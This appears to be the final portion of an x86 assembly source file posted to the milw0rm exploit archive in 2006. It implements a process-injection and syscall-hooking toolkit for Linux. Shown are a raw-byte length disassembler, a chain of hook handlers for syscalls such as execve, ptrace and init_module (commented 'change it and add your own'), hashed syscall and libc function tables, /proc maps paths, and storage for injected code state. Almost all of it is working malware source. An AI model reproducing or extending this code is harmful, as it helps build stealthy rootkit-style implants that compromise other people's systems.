                db 021h,00Bh,0B7h,00Ah,068h,039h,036h,080h
                db 042h,068h,000h,039h,0B6h,000h,031h,0C9h
                db 0B5h,002h,031h,0DBh,0E8h,013h,000h,000h
                db 000h,009h,0DBh,075h,00Bh,05Bh,05Eh,05Ah
                db 056h,053h,068h,020h,000h,000h,000h,05Bh
                db 04Bh,0D1h,0EAh,0C3h,05Dh,031h,0C0h,0E8h
                db 005h,000h,000h,000h,0ABh,0E2h,0F6h,061h
                db 0C3h,0FFh,0D5h,072h,063h,0FFh,0D5h,072h
                db 003h,0B4h,040h,0C3h,0FFh,0D5h,072h,057h
                db 0FFh,0D5h,072h,046h,0FFh,0D5h,072h,02Ch
                db 0FFh,0D5h,072h,025h,0FFh,0D5h,072h,014h
                db 0FFh,0D5h,072h,003h,0B4h,010h,0C3h,0FFh
                db 0D5h,073h,006h,0B8h,000h,000h,000h,000h
                db 0C3h,0B4h,0A2h,0C3h,0FFh,0D5h,072h,003h
                db 0B4h,060h,0C3h,0B8h,000h,0A0h,000h,000h
                db 0C3h,0B4h,041h,0C3h,0FFh,0D5h,072h,00Fh
                db 0FFh,0D5h,073h,005h,066h,0B8h,080h,080h
                db 0C3h,0B8h,000h,081h,002h,000h,0C3h,0B4h
                db 081h,0C3h,0FFh,0D5h,073h,006h,0B8h,000h
                db 020h,002h,000h,0C3h,0B4h,0C0h,0C3h,0C3h
                db 0FFh,0D5h,073h,002h,048h,0C3h,0FFh,0D5h
                db 00Fh,082h,08Bh,000h,000h,000h,0FFh,0D5h
                db 073h,00Dh,0FFh,0D5h,072h,006h,0B8h,000h
                db 001h,002h,000h,0C3h,0B4h,001h,0C3h,0FFh
                db 0D5h,073h,003h,0B4h,020h,0C3h,0FFh,0D5h
                db 073h,02Eh,0FFh,0D5h,073h,00Dh,0FFh,0D5h
                db 072h,006h,0B8h,000h,080h,004h,000h,0C3h
                db 0B0h,040h,0C3h,0FFh,0D5h,072h,00Ch,0FFh
                db 0D5h,072h,003h,0B4h,003h,0C3h,00Fh,0BAh
                db 0F8h,012h,0C3h,0FFh,0D5h,073h,003h,0B0h
                db 080h,0C3h,0B8h,000h,002h,004h,000h,0C3h
                db 0FFh,0D5h,072h,01Fh,0FFh,0D5h,073h,00Fh
                db 0FFh,0D5h,072h,005h,066h,0B8h,008h,080h
                db 0C3h,0B8h,000h,001h,006h,000h,0C3h,0FFh
                db 0D5h,072h,005h,00Fh,0BAh,0F8h,010h,0C3h
                db 0B4h,0C1h,0C3h,0FFh,0D5h,073h,00Dh,0FFh
                db 0D5h,073h,006h,0B8h,000h,082h,004h,000h
                db 0C3h,0B0h,020h,0C3h,0FFh,0D5h,073h,003h
                db 0B0h,010h,0C3h,0B8h,000h,020h,006h,000h
                db 0C3h,0B4h,080h,0C3h

ade_disasm:     db 060h,033h,0C0h,033h,0D2h,08Bh,06Ch,024h
                db 028h,08Dh,07Dh,002h,06Ah,026h,059h,0FCh
                db 0F3h,0AAh,08Bh,07Ch,024h,02Ch,08Bh,074h
                db 024h,024h,066h,03Bh,006h,00Fh,084h,07Eh
                db 000h,000h,000h,066h,083h,03Eh,0FFh,074h
                db 078h,08Ah,006h,046h,08Bh,01Ch,087h,0F6h
                db 0C3h,0F8h,075h,071h,00Bh,0D3h,088h,045h
                db 014h,03Ch,00Fh,00Fh,084h,09Eh,000h,000h
                db 000h,03Ch,0F7h,00Fh,084h,0B7h,000h,000h
                db 000h,03Ch,0F6h,00Fh,084h,0A5h,000h,000h
                db 000h,03Ch,0CDh,00Fh,084h,0B1h,000h,000h
                db 000h,0F6h,0C6h,040h,00Fh,085h,0B2h,000h
                db 000h,000h,089h,055h,006h,08Ah,0C6h,066h
                db 081h,0E2h,007h,007h,0A8h,010h,074h,003h
                db 002h,055h,000h,0A8h,020h,074h,003h,002h
                db 075h,001h,00Fh,0B6h,0CAh,089h,04Dh,00Ah
                db 0E3h,005h,08Dh,07Dh,018h,0F3h,0A4h,08Ah
                db 0CEh,089h,04Dh,00Eh,0E3h,005h,08Dh,07Dh
                db 020h,0F3h,0A4h,02Bh,074h,024h,024h,096h
                db 089h,045h,002h,089h,044h,024h,01Ch,061h
                db 0C3h,033h,0C0h,0EBh,0F3h,08Ah,0E3h,022h
                db 0E2h,080h,0E4h,0F8h,075h,0F3h,00Bh,0D3h
                db 0F6h,0C3h,010h,075h,024h,0F6h,0C3h,020h
                db 075h,019h,0F6h,0C3h,080h,075h,00Fh,0F6h
                db 0C3h,040h,075h,005h,0E9h,060h,0FFh,0FFh
                db 0FFh,088h,045h,012h,0EBh,0F6h,088h,045h
                db 013h,0EBh,0F1h,080h,075h,001h,006h,0EBh
                db 0EBh,080h,075h,000h,006h,0EBh,0E5h,08Ah
                db 006h,046h,088h,045h,015h,00Bh,094h,087h
                db 000h,004h,000h,000h,083h,0FAh,0FFh,074h
                db 0B0h,0E9h,063h,0FFh,0FFh,0FFh,0F6h,006h
                db 038h,075h,0F6h,080h,0CEh,001h,0EBh,0F1h
                db 0F6h,006h,038h,075h,0ECh,080h,0CEh,020h
                db 0EBh,0E7h,080h,03Eh,080h,075h,0E2h,080h ; 080h,03Eh,080h = instead of 020h
                db 0CEh,001h,0EBh,0DDh,08Ah,006h,046h,088h ; 080h 0CEh,001h = instead of 004h
                db 045h,016h,050h,024h,038h,03Ch,020h,058h
                db 075h,00Ah,080h,07Dh,014h,0FFh,075h,004h
                db 00Fh,0BAh,0FAh,012h,08Ah,0E0h,066h,025h
                db 007h,0C0h,080h,0FCh,0C0h,074h,028h,080h
                db 07Dh,000h,002h,074h,02Ch,03Ch,004h,075h
                db 00Bh,080h,0CEh,008h,08Ah,006h,046h,088h
                db 045h,017h,024h,007h,080h,0FCh,040h,074h
                db 013h,080h,0FCh,080h,074h,006h,066h,03Dh
                db 005h,000h,075h,003h,080h,0CAh,004h,0E9h
                db 0FEh,0FEh,0FFh,0FFh,080h,0CAh,001h,0EBh
                db 0F6h,066h,03Dh,006h,000h,074h,00Ah,080h
                db 0FCh,040h,074h,0F0h,080h,0FCh,080h,075h
                db 0E6h,080h,0CAh,002h,0EBh,0E1h

;===============================================================================|
; syscall sub-handler prototypes
;===============================================================================|
;
; here is a list of interesting syscall to be hooked, change 
; it and add your own

_schndl_begin_:

schndl_lookup:  ; find a syscall handler given its number in eax
                lea     edx,[ebp+_getsh_-gdelta]    ;
                jmp     first                       ; begin at first handler
_getsh_:        pop     eax                         ; eax = handler 
                ret
first:

_schndl_fork:   ; fork syscall handler:
.link:          mov     ebx,sc_fork
                cmp     eax,ebx
                jne     _schndl_read
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*0)-gdelta]
%endif
                ret

_schndl_read:   ; read syscall handler:
.link:          mov     ebx,sc_read
                cmp     eax,ebx
                jne     _schndl_write
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*1)-gdelta]
%endif
                ret

_schndl_write:  ; write syscall handler
.link:          mov     ebx,sc_write
                cmp     eax,ebx
                jne     _schndl_open
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*2)-gdelta]
%endif
                ret

_schndl_open:   ; open syscall handler:
.link:          mov     ebx,sc_open
                cmp     eax,ebx
                jne     _schndl_close
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*3)-gdelta]
%endif
                ret

_schndl_close:  ; close syscall handler:
.link:          mov     ebx,sc_close
                cmp     eax,ebx
                jne     _schndl_execve
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*4)-gdelta]
%endif
                ret

_schndl_execve: ; execve syscall handler:
.link:          mov     ebx,sc_execve
                cmp     eax,ebx
                jne     _schndl_mount
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*5)-gdelta]
%endif
                ret

_schndl_mount: ; mount syscall handler:
.link:          mov     ebx,sc_mount
                cmp     eax,ebx
                jne     _schndl_umount
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*6)-gdelta]
%endif
                ret

_schndl_umount: ; umount syscall handler:
.link:          mov     ebx,sc_umount
                cmp     eax,ebx
                jne     _schndl_ptrace
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*7)-gdelta]
%endif
                ret

_schndl_ptrace: ; ptrace syscall handler:
.link:          mov     ebx,sc_ptrace
                cmp     eax,ebx
                jne     _schndl_mkdir
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*8)-gdelta]
%endif
                ret

_schndl_mkdir:  ; mkdir syscall handler:
.link:          mov     ebx,sc_mkdir
                cmp     eax,ebx
                jne     _schndl_rmdir
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*9)-gdelta]
%endif
                ret

_schndl_rmdir:  ; rmdir syscall handler:
.link:          mov     ebx,sc_rmdir
                cmp     eax,ebx
                jne     _schndl_chroot
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*10)-gdelta]
%endif
                ret

_schndl_chroot: ; chroot syscall handler:
.link:          mov     ebx,sc_chroot
                cmp     eax,ebx
                jne     _schndl_reboot
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*11)-gdelta]
%endif
                ret

_schndl_reboot: ; reboot syscall handler:
.link:          mov     ebx,sc_reboot
                cmp     eax,ebx
                jne     _schndl_mmap
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*12)-gdelta]
%endif
                ret

_schndl_mmap:   ; mmap syscall handler:
.link:          mov     ebx,sc_mmap
                cmp     eax,ebx
                jne     _schndl_munmap
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*13)-gdelta]
%endif
                ret

_schndl_munmap: ; munmap syscall handler:
.link:          mov     ebx,sc_munmap
                cmp     eax,ebx
                jne     _schndl_uname
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*14)-gdelta]
%endif
                ret

_schndl_uname:  ; uname syscall handler
.link:          mov     ebx,sc_uname
                cmp     eax,ebx
                jne     _schndl_mprotect
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*15)-gdelta]
%endif
                ret

_schndl_mprotect:  ; mprotect syscall handler
.link:          mov     ebx,sc_mprotect
                cmp     eax,ebx
                jne     _schndl_create_module
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*16)-gdelta]
%endif
                ret

_schndl_create_module: ; lkm syscall handler
.link:          mov     ebx,sc_create_module
                cmp     eax,ebx
                jne     _schndl_init_module
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*17)-gdelta]
%endif
                ret

_schndl_init_module: ; lkm syscall handler:
.link:          mov     ebx,sc_init_module
                cmp     eax,ebx
                jne     _schndl_delete_module
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*18)-gdelta]
%endif
                ret

_schndl_delete_module: ; lkm syscall handler:
.link:          mov     ebx,sc_delete_module
                cmp     eax,ebx
                jne     _schndl_query_module
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*19)-gdelta]
%endif
                ret

_schndl_query_module: ; lkm syscall handler:
.link:          mov     ebx,sc_query_module
                cmp     eax,ebx
                jne     last
                call    edx
.body:          call    def_schndl
%ifdef DBG
                inc     dword[ebp+(sch_counter+_dword*20)-gdelta]
%endif
                ret

last:           ud2
                times   4 db  0h
_schndl_end_:

%ifdef DBG
sch_counter     times   21 dd 0h
%endif

;===============================================================================|
; data section: variables,globals,etc
;===============================================================================|

; the magic table
_mtbl_begin_:
.key                dd  0h      ; enc/dec key
magic_table:
                    dd  015h    ; count
scw_fork            db  002h,   08Bh,0D6h,006h,000h
scw_read            db  003h,   074h,08Bh,007h,000h
scw_write           db  004h,   0A5h,090h,07Eh,000h
scw_open            db  005h,   0beh,066h,007h,000h
scw_close           db  006h,   095h,036h,06Ah,000h
scw_execve          db  00Bh,   0C5h,0BAh,0CEh,006h
scw_mount           db  015h,   054h,06Ch,074h,000h
scw_umount          db  016h,   054h,06Ch,0C4h,007h
scw_ptrace          db  01Ah,   095h,087h,07Bh,007h
scw_mkdir           db  027h,   002h,01Bh,074h,000h
scw_rmdir           db  028h,   002h,03Bh,079h,000h
scw_chroot          db  03Dh,   064h,096h,09Fh,006h
scw_reboot          db  058h,   064h,096h,08Bh,007h
scw_mmap            db  05Ah,   080h,043h,007h,000h
scw_munmap          db  05Bh,   080h,053h,04Ch,007h
scw_uname           db  07Ah,   035h,048h,07Ch,000h
scw_mprotect        db  07Dh,   0E4h,0ACh,096h,007h
scw_create_module   db  07Fh,   0C5h,032h,0CEh,000h
scw_init_module     db  080h,   085h,0ECh,055h,006h
scw_delete_module   db  081h,   0C5h,072h,007h,001h
scw_query_module    db  0A7h,   0D5h,073h,0CEh,003h
                    times 5 db  0h  ; align pad
_mtbl_end_:

func_hashtbl:       dd  006h    ; count
f_sprintf           db  0D6h,005h,079h,00Ah
f_snprintf          db  006h,002h,079h,005h
f_atoi              db  059h,08Bh,006h,000h
f_malloc            db  053h,033h,038h,007h
f_calloc            db  053h,033h,098h,006h
f_free              db  0B5h,0D8h,006h,000h

func_vatbl:         ; API addresses:
va_sprintf          dd 0h
va_snprintf         dd 0h
va_atoi             dd 0h
va_malloc           dd 0h
va_calloc           dd 0h
va_free             dd 0h

ssii_table:         db 002h    ; count
                    ; entry format: [1b|2b|3b|4-Nb]
                    ; 1b = entry size
                    ; 2b = bytes to compare
                    ; 3b = instruction size
                    ; 4-Nb = instruction
                    ; [int80]
.e0:                db (.e1-$)
                    db 002h
                    db 002h
                    db 0CDh,080h
                    ; [vsyscall]
.e1:                db (.e2-$)
                    db 007h
                    db 007h
                    db 065h,0FFh,015h,010h,000h,000h,000h
.e2

libcso_map_names:   dd 04h  ; count
                    dd (.n1-($+_dword))
                    db "/lib/tls/libc."
.n1:                dd (.n2-($+_dword))
                    db "/lib/tls/libc-"
.n2:                dd (.n3-($+_dword))
                    db "/lib/libc."
.n3:                dd (.n4-($+_dword))
                    db "/lib/libc-"
.n4:

libcso_lkm_names:   dd 01h
                    dd (.n1-($+_dword))
                    db "/libc."
.n1:

dev_random          db "/dev/random",0h
self_maps           db "/proc/self/maps",0h
pid_maps            db "/proc/%d/maps",0h

context             times (10*_push) db 0h      ; eip+pushad+pushfd
host_code           times 78h db 0h
mpfr_struct         times (7*_dword) db 0h
sosr_struct         times (9*_dword) db 0h

room_size           dd ((fini-starter) + 3048 + (1000h-1)) & ~(1000h-1)
stack_padd          dd (fini-starter)+100h
starter_sz          dd (schooker-starter)+((schooker-starter) % 4)

maps                dd 0h
orig_esp            dd 0h
inj_orig_eip        dd 0h
inj_orig_esp        dd 0h
code_address        dd 0h
orig_traphndl       dd 0h
orig_segvhndl       dd 0h
link_map            dd 0h
libc_text_base      dd 0h
libc_text_size      dd 0h
ade_flagtable       dd 0h
ade_dstruct         dd 0h
sigfrm              dd 0h
sdr                 dd 0h
ckfunc              dd 0h
cksys               dd 0h

pid                 dd 0h
hep                 dd 0h
noexec              dd 0h

fini:               db  0

# milw0rm.com [2006-08-30]